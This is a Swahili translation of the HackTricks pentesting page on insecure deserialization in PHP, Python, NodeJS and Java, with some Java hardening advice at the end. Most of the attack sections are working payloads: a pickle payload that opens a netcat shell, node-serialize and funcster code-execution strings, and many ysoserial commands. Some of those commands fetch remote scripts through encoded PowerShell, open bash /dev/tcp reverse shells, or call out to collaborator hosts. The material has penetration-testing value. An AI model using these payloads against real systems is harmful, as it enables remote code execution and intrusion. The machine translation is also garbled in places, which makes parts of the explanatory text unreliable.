Deserialization

Jifunze kuhusu ufisadi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Ufisadi wa Data unaeleweka kama njia ya kubadilisha kitu kuwa muundo unaozuia, kwa lengo la kuhifadhi kitu au kutuma kama sehemu ya mchakato wa mawasiliano. Mbinu hii mara nyingi hutumiwa kuhakikisha kwamba kitu kinaweza kurejeshwa wakati mwingine, kudumisha muundo na hali yake.

Ufisadi wa Data, kinyume chake, ni mchakato unaopinga ufisadi wa data. Inahusisha kuchukua data iliyopangwa kwa muundo fulani na kuirekebisha kurudi kwenye kitu.

Ufisadi wa Data unaweza kuwa hatari kwa sababu inaweza kuruhusu wachomaji kubadilisha data iliyofisadiwa kutekeleza nambari hatari au kusababisha tabia isiyotarajiwa kwenye programu wakati wa mchakato wa kurejesha kitu.

PHP

Katika PHP, njia maalum za kichawi hutumiwa wakati wa mchakato wa ufisadi na ufisadi wa data:

  • __sleep: Inaitwa wakati kitu kinapotumiwa. Mbinu hii inapaswa kurudisha safu ya majina ya mali zote za kitu ambazo zinapaswa kufisadiwa. Mara nyingi hutumiwa kuhifadhi data inayosubiri au kutekeleza kazi za kusafisha sawa.

  • __wakeup: Inaitwa wakati kitu kinapotumiwa. Hutumiwa kurejesha tena uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa ufisadi na kutekeleza kazi zingine za kuanzisha upya.

  • __unserialize: Mbinu hii inaitwa badala ya __wakeup (ikiwa ipo) wakati kitu kinapotumiwa. Hutoa udhibiti zaidi juu ya mchakato wa ufisadi ikilinganishwa na __wakeup.

  • __destruct: Mbinu hii inaitwa wakati kitu kinapokuwa karibu kuharibiwa au wakati skripti inamalizika. Kawaida hutumiwa kwa kazi za kusafisha, kama kufunga vitambulisho vya faili au uhusiano wa database.

  • __toString: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kusoma faili au kazi zingine kulingana na wito wa kazi ndani yake, kutoa uwakilishi wa maandishi wa kitu.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiangalia matokeo unaweza kuona kwamba kazi __wakeup na __destruct zinaitwa wakati kitu kinapodeserialized. Tafadhali kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi ya __toString inaitwa wakati unapojaribu kuchapisha sifa fulani, lakini inaonekana kwamba haifanyiki tena.

Mbinu ya __unserialize(array $data) inaitwa badala ya __wakeup() ikiwa imefanywa katika darasa. Inakuruhusu kudeserialize kitu kwa kutoa data iliyoserilishwa kama safu. Unaweza kutumia mbinu hii kudeserialize mali na kutekeleza kazi zozote muhimu wakati wa deserialization.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Unaweza kusoma mfano wa PHP ulioelezewa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia vibaya utendaji wa kupakia moja kwa moja wa PHP ili kupakia faili za php za kupendelea na zaidi:

Kufanya Thamani za Kumbukumbu Zilizorejelewa

Ikiwa kwa sababu fulani unataka kusahihisha thamani kama marejeleo kwa thamani nyingine iliyosahihishwa unaweza:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kukusaidia kutengeneza mizigo ya kudanganya ili kutumia deserializations za PHP. Tafadhali kumbuka kwamba katika visa kadhaa hutaweza kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kutumia msimbo wa nyongeza za PHP za nje. Hivyo, ikiwa unaweza, angalia phpinfo() ya seva na tafuta kwenye mtandao (na hata kwenye vifaa vya PHPGGC) baadhi ya vifaa vinavyowezekana unavyoweza kutumia.

phar:// metadata deserialization

Ikiwa umepata LFI ambayo inasoma faili tu na sio kutekeleza msimbo wa php ndani yake, kwa mfano kutumia kazi kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize()**. Unaweza jaribu kutumia deserialization inayotokea wakati wa kusoma faili kwa kutumia itifaki ya phar. Kwa maelezo zaidi soma chapisho lifuatalo:

Python

Pickle

Wakati kitu kinapopata unpickle, kazi __reduce__ itatekelezwa. Ikidanganywa, seva inaweza kurudisha kosa.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kwa habari zaidi kuhusu kutoroka kutoka jela za pickle angalia:

Yaml & jsonpickle

Ukurasa ufuatao unawasilisha mbinu ya kutumia vibaya uhariri usio salama katika maktaba za python za yamls na unamalizia na chombo kinachoweza kutumika kuzalisha mzigo wa uhariri wa RCE kwa Pickle, PyYAML, jsonpickle na ruamel.yaml:

Uchafuzi wa Darasa (Python Prototype Pollution)

NodeJS

JS Magic Functions

JS haina "vifaa vya uchawi" kama PHP au Python ambavyo vitatekelezwa tu kwa kujenga kitu. Lakini ina vifaa ambavyo mara nyingi hutumiwa hata bila kuita moja kwa moja kama vile toString, valueOf, toJSON. Kwa kufanya uhariri wa uhariri unaweza kuathiri vifaa hivi kutekeleza nambari nyingine (kwa uwezekano wa kutumia uchafuzi wa protini) unaweza kutekeleza nambari ya aina yoyote unapotumiwa.

Njia nyingine ya "uchawi" ya kuita kazi bila kuita moja kwa moja ni kwa kuathiri kitu kinachorudishwa na kazi ya async (ahadi). Kwa sababu, ikiwa unabadilisha kitu hicho kurudi katika ahadi nyingine na mali iliyoitwa "kisha" ya aina ya kazi, itatekelezwa tu kwa sababu imerudishwa na ahadi nyingine. Fuata kiungo hiki kwa habari zaidi.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ na uchafuzi wa prototype

Ikiwa unataka kujifunza kuhusu mbinu hii angalia mafunzo yafuatayo:

Maktaba hii inaruhusu kuserilisha kazi. Mfano:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Kitu kilichoserilishwa kitakuwa kama:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Unaweza kuona katika mfano kwamba wakati kazi inapotiwa serialize bendera ya _$$ND_FUNC$$_ inaongezwa kwenye kitu kilichoserilishwa.

Ndani ya faili node-serialize/lib/serialize.js unaweza kupata bendera ile ile na jinsi nambari inavyoitumia.

Kama unavyoona katika kipande cha mwisho cha nambari, ikiwa bendera inapatikana eval hutumiwa kudesirialisha kazi, kwa hivyo kimsingi matokeo ya mtumiaji yanatumika ndani ya kazi ya eval.

Hata hivyo, kudesirialisha tu kazi haitaitekeleza kama ingekuwa ni lazima sehemu fulani ya nambari iwe inaita y.rce katika mfano wetu na hiyo ni isiyowezekana sana. Kwa njia yoyote, unaweza tu kubadilisha kitu kilichoserilishwa kwa kuongeza baadhi ya mabano ili kutekeleza kiotomatiki kazi iliyoserilishwa wakati kitu kimeserilishwa upya. Katika kipande cha nambari kifuatacho tambua mabano ya mwisho na jinsi kazi ya unserialize itakavyotekeleza nambari:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kama ilivyotangulia kutajwa, maktaba hii itapata nambari baada ya _$$ND_FUNC$$_ na kuitekeleza kutumia eval. Kwa hivyo, ili kitekeleze nambari moja kwa moja unaweza kufuta sehemu ya uundaji wa kazi na mabano ya mwisho na kuendesha JS kwa mstari mmoja kama ilivyo katika mfano ufuatao:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Unaweza kupata hapa maelezo zaidi kuhusu jinsi ya kutumia udhaifu huu.

Jambo la kuvutia kuhusu funcster ni upatikanaji usio wa vitu vilivyojengwa kawaida; viko nje ya wigo wa kufikiwa. Kizuizi hiki kinazuia utekelezaji wa namna ya kuita njia kwenye vitu vilivyojengwa, ikisababisha makosa kama "ReferenceError: console is not defined" wakati amri kama console.log() au require(something) zinapotumiwa.

Licha ya kikwazo hiki, kurejesha upatikanaji kamili wa muktadha wa ulimwengu, ikiwa ni pamoja na vitu vilivyojengwa kawaida, kunawezekana kupitia njia maalum. Kwa kutumia moja kwa moja muktadha wa ulimwengu, mtu anaweza kukiuka kizuizi hiki. Kwa mfano, upatikanaji unaweza kurejeshwa kutumia sehemu ifuatayo:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Kwataarifa zaidi soma chanzo hiki.

Pakiti ya serialize-javascript imeundwa kwa ajili ya madhumuni ya uhuishaji pekee, ikikosa uwezo wowote wa kujijenga kwa deserialization. Watumiaji wanawajibika kutekeleza njia yao wenyewe ya deserialization. Matumizi moja kwa moja ya eval inapendekezwa na mfano rasmi kwa kufanya data iliyohuishwa:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ikiwa kazi hii hutumiwa kwa kusahihisha vitu unaweza kuitumia kwa urahisi:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwamambo zaidi soma chanzo hiki.

Maktaba ya Cryo

Kwenye kurasa zifuatazo unaweza kupata habari kuhusu jinsi ya kutumia maktaba hii kutekeleza amri za kupindukia:

Java - HTTP

Katika Java, wito wa deserialization hutekelezwa wakati wa mchakato wa deserialization. Utekelezaji huu unaweza kutumiwa na wachomaji ambao hupanga mizigo ya kudhuru ambayo huchochea wito huu, ikisababisha utekelezaji wa hatua zenye madhara.

Alama za Vidole

Sanduku Jeusi

Ili kutambua uwezekano wa udhaifu wa serialization katika msingi wa kanuni, tafuta:

  • Darasa zinazotekeleza kiolesura cha Serializable.

  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare kazi.

Toa tahadhari maalum kwa:

  • XMLDecoder iliyotumiwa na vigezo vilivyowekwa na watumiaji wa nje.

  • Mbinu ya fromXML ya XStream, hasa ikiwa toleo la XStream ni chini au sawa na 1.46, kwani inaweza kuwa na maswala ya serialization.

  • ObjectInputStream iliyounganishwa na mbinu ya readObject.

  • Utekelezaji wa mbinu kama vile readObject, readObjectNodData, readResolve, au readExternal.

  • ObjectInputStream.readUnshared.

  • Matumizi ya jumla ya Serializable.

Sanduku Nyeusi

Kwa upimaji wa sanduku nyeusi, tafuta sahihi maalum au "Magic Bytes" ambayo inaashiria vitu vilivyoserilishwa vya Java (vinavyotoka kwa ObjectInputStream):

  • Mtindo wa Hexadecimal: AC ED 00 05.

  • Mtindo wa Base64: rO0.

  • Vichwa vya majibu ya HTTP vikiwa na Content-type imewekwa kama application/x-java-serialized-object.

  • Mtindo wa Hexadecimal unaonyesha ujazo wa awali: 1F 8B 08 00.

  • Mtindo wa Base64 unaonyesha ujazo wa awali: H4sIA.

  • Faili za wavuti zenye kielezo cha .faces na marameteri ya faces.ViewState. Kugundua mifano hii katika programu ya wavuti inapaswa kuchochea uchunguzi kama ilivyoelezwa katika chapisho kuhusu Deserialization ya Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia kama kuna udhaifu

Ikiwa unataka kujifunza kuhusu jinsi shambulio la Deserialized la Java linavyofanya kazi unapaswa kutazama Msingi wa Deserialization ya Java, Deserialization ya Java DNS, na Malipo ya CommonsCollection1.

Jaribio la White Box

Unaweza kuangalia ikiwa kuna programu yoyote iliyosakinishwa yenye udhaifu uliojulikana.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kuangalia maktaba zote ambazo inajulikana kuwa na mapungufu na ambazo Ysoserial inaweza kutoa shambulio. Au unaweza kuangalia maktaba zilizoorodheshwa kwenye Java-Deserialization-Cheat-Sheet. Unaweza pia kutumia gadgetinspector kutafuta mnyororo wa vifaa vya uwezekano ambao unaweza kutumiwa kwa shambulio. Unapokuwa unatumia gadgetinspector (baada ya kuujenga) usijali juu ya onyo/makosa mengi yanayopita na ruhusu iishe. Itaandika matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali, kumbuka kwamba gadgetinspector haitaunda shambulio na inaweza kuonyesha matokeo sahihi.

Jaribio la Sanduku Jeusi

Kwa kutumia kifaa cha Burp gadgetprobe unaweza kutambua maktaba zipi zinapatikana (na hata toleo). Kwa habari hii inaweza kuwa rahisi kuchagua mzigo wa kutumia kwa shambulio la mapungufu. Soma hii kujifunza zaidi kuhusu GadgetProbe. GadgetProbe inazingatia ObjectInputStream deserializations.

Kwa kutumia kifaa cha Burp Java Deserialization Scanner unaweza kutambua maktaba zenye mapungufu yanayoweza kutumiwa na ysoserial na kuzitumia. Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner. Java Deserialization Scanner inazingatia ObjectInputStream deserializations.

Unaweza pia kutumia Freddy kutambua mapungufu ya deserializations katika Burp. Programu-jalizi hii itagundua mapungufu siyo tu yanayohusiana na ObjectInputStream bali pia mapungufu kutoka maktaba za deserializations za Json na Yml. Kwa hali ya kazi, itajaribu kuthibitisha kwa kutumia mzigo wa kulala au DNS. Pata habari zaidi kuhusu Freddy hapa.

Jaribio la Ufananisho

Si kila kitu ni kuhusu kuangalia kama maktaba yoyote yenye mapungufu inatumika kwenye seva. Mara nyingine unaweza kubadilisha data ndani ya kitu kilichofanyiwa ufasiri na kupita baadhi ya ukaguzi (labda kukupa mamlaka ya msimamizi ndani ya programu-jalizi ya wavuti). Ikiwa unapata kitu kilichofanyiwa ufasiri wa Java kinachotumwa kwenye programu-jalizi ya wavuti, unaweza kutumia SerializationDumper kuchapisha kwa muundo unaoweza kusomwa na binadamu zaidi kitu kilichofanyiwa ufasiri kinachotumwa. Kujua data unayotuma itakuwa rahisi kuihariri na kupita baadhi ya ukaguzi.

Shambulio

ysoserial

Zana kuu ya kutumia ufasiri wa Java ni ysoserial (pakua hapa). Unaweza pia kuzingatia kutumia ysoseral-modified ambayo itakuruhusu kutumia amri ngumu (kwa mfano na mabomba). Tafadhali kumbuka kuwa zana hii inazingatia kwa kutekeleza shambulio kwenye ObjectInputStream. Ningeanza kutumia mzigo wa "URLDNS" kabla ya mzigo wa RCE kujaribu kama uingizaji ni wa kufanikiwa. Hata hivyo, kumbuka kwamba labda mzigo wa "URLDNS" haifanyi kazi lakini mzigo mwingine wa RCE unafanya kazi.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Upon creating a payload for java.lang.Runtime.exec() unaweza kutumia herufi maalum kama vile ">" au "|" kwa kusudi la kurekebisha matokeo ya utekelezaji, "$()" kwa kutekeleza amri au hata kupeleka vigezo kwa amri iliyotenganishwa na nafasi (unaweza kutumia echo -n "hello world" lakini huwezi kutumia python2 -c 'print "Hello world"'). Ili kuweza kuweka kwa usahihi payload unaweza kutumia ukurasa huu wa wavuti.

Jisikie huru kutumia hati ifuatayo kuunda mizigo yote inayowezekana ya utekelezaji wa nambari kwa Windows na Linux kisha kuzipima kwenye ukurasa wa wavuti ulio hatarini:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda mizozo zaidi. Taarifa zaidi kuhusu chombo hiki zinapatikana katika slaidi za mazungumzo ambapo chombo kilipokuwa kikionyeshwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kuunda mizigo ya kudanganya kutumia maktaba tofauti za uhuishaji wa Json na Yml katika Java. Ili kutekeleza mradi huo nilihitaji kuongeza hizi tegemezi kwa pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na kupachika mradi:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwa Nini

Java hutumia uhuishaji kwa madhumuni mbalimbali kama vile:

  • Maombi ya HTTP: Uhuishaji unatumika sana katika usimamizi wa vigezo, ViewState, vidakuzi, n.k.

  • RMI (Remote Method Invocation): Itifaki ya Java RMI, ambayo inategemea kabisa uhuishaji, ni msingi wa mawasiliano ya mbali katika maombi ya Java.

  • RMI juu ya HTTP: Njia hii hutumiwa kawaida na maombi ya wavuti ya mteja tajiri yanayotumia Java, yakitumia uhuishaji kwa mawasiliano yote ya vitu.

  • JMX (Java Management Extensions): JMX hutumia uhuishaji kwa kutuma vitu kupitia mtandao.

  • Itifaki za Desturi: Katika Java, mazoezi ya kawaida ni kutuma vitu vya Java moja kwa moja, ambavyo vitadhihirishwa katika mifano ya kutumia udhaifu inayokuja.

Kuzuia

Vitu vya Muda

Darasa linalotekeleza Serializable linaweza kutekeleza kama transient kwa kila kitu ndani ya darasa ambacho hakitakiwi kuwa uhuishaji. Kwa mfano:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka Ufisadi wa darasa ambalo linahitaji kutekeleza Serializable

Katika hali ambapo vitu fulani lazima viwekeleze Serializable kwa sababu ya mfuatano wa darasa, kuna hatari ya ufisadi usiokusudiwa. Ili kuzuia hili, hakikisha vitu hivi havitaweza kufisuliwa kwa kufafanua njia ya final ya readObject() ambayo kila wakati itatoa kosa, kama inavyoonyeshwa hapa chini:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuboresha Usalama wa Deserialization katika Java

Kubinafsisha java.io.ObjectInputStream ni njia halisi ya kuboresha mchakato wa deserialization. Njia hii ni sahihi wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.

  • Darasa zinazotarajiwa kwa deserialization zinajulikana.

Badilisha resolveClass() mbinu ili kuzuia deserialization kwa darasa zilizoruhusiwa pekee. Hii inazuia deserialization ya darasa lolote isipokuwa zile zilizoruhusiwa kwa uwazi, kama katika mfano ufuatao ambao unazuia deserialization hadi darasa la Bicycle pekee:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuboresha Usalama hutoa suluhisho la kurudi nyuma wakati marekebisho ya nambari hayawezekani. Mbinu hii inatumika hasa kwa kuweka orodha nyeusi ya darasa zenye madhara, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kuhakikisha deserialization kwa njia ya kudumu, bora kwa mazingira ambapo mabadiliko ya mara moja ya nambari ni ngumu.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Vichungi vya Serialization: Java 9 iliingiza vichungi vya serialization kupitia kiolesura cha ObjectInputFilter, kutoa mfumo wenye nguvu wa kueleza vigezo ambavyo vitu vilivyosanidishwa lazima vikidhi kabla ya kudeserilishwa. Vichungi hivi vinaweza kutumika kimataifa au kwa kila mtiririko, kutoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia vichungi vya serialization, unaweza kuweka kichungi cha kimataifa kinachotumika kwa shughuli zote za deserialization au kuweka kwa muda kwa mtiririko maalum. Kwa mfano:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutumia Maktaba za Nje kwa Usalama Ulioboreshwa: Maktaba kama NotSoSerial, jdeserialize, na Kryo hutoa huduma za juu za kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa safu za ziada za usalama, kama vile kuweka safu nyeupe au nyeusi ya madarasa, kuchambua vitu vilivyoseriwa kabla ya deserialization, na kutekeleza mikakati ya kibinafsi ya serialization.

  • NotSoSerial inazuia mchakato wa deserialization kuzuia utekelezaji wa nambari isiyotegemewa.

  • jdeserialize inaruhusu uchambuzi wa vitu vilivyoseriwa vya Java bila kuvifanyia deserialization, kusaidia kutambua yaliyomo yanayoweza kuwa na nia mbaya.

  • Kryo ni mfumo mbadala wa serialization unaozingatia kasi na ufanisi, ukitolea mikakati inayoweza kusanidiwa ya serialization inayoweza kuboresha usalama.

Marejeo

Uingizaji wa JNDI & log4Shell

Pata maelezo kuhusu Uingizaji wa JNDI, jinsi ya kutumia vibaya kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell (na mfano wa kasoro hii) kwenye ukurasa ufuatao:

JMS - Huduma ya Ujumbe ya Java

API ya Java Message Service (JMS) ni API ya Java ya kati ya ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kutatua tatizo la mtengenezaji-mteja. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilidefiniwa kupitia specifikesheni iliyoundwa na Sun Microsystems, lakini sasa inaongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu zinazotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa huru, imara, na isiyo ya moja kwa moja. (Kutoka Wikipedia).

Bidhaa

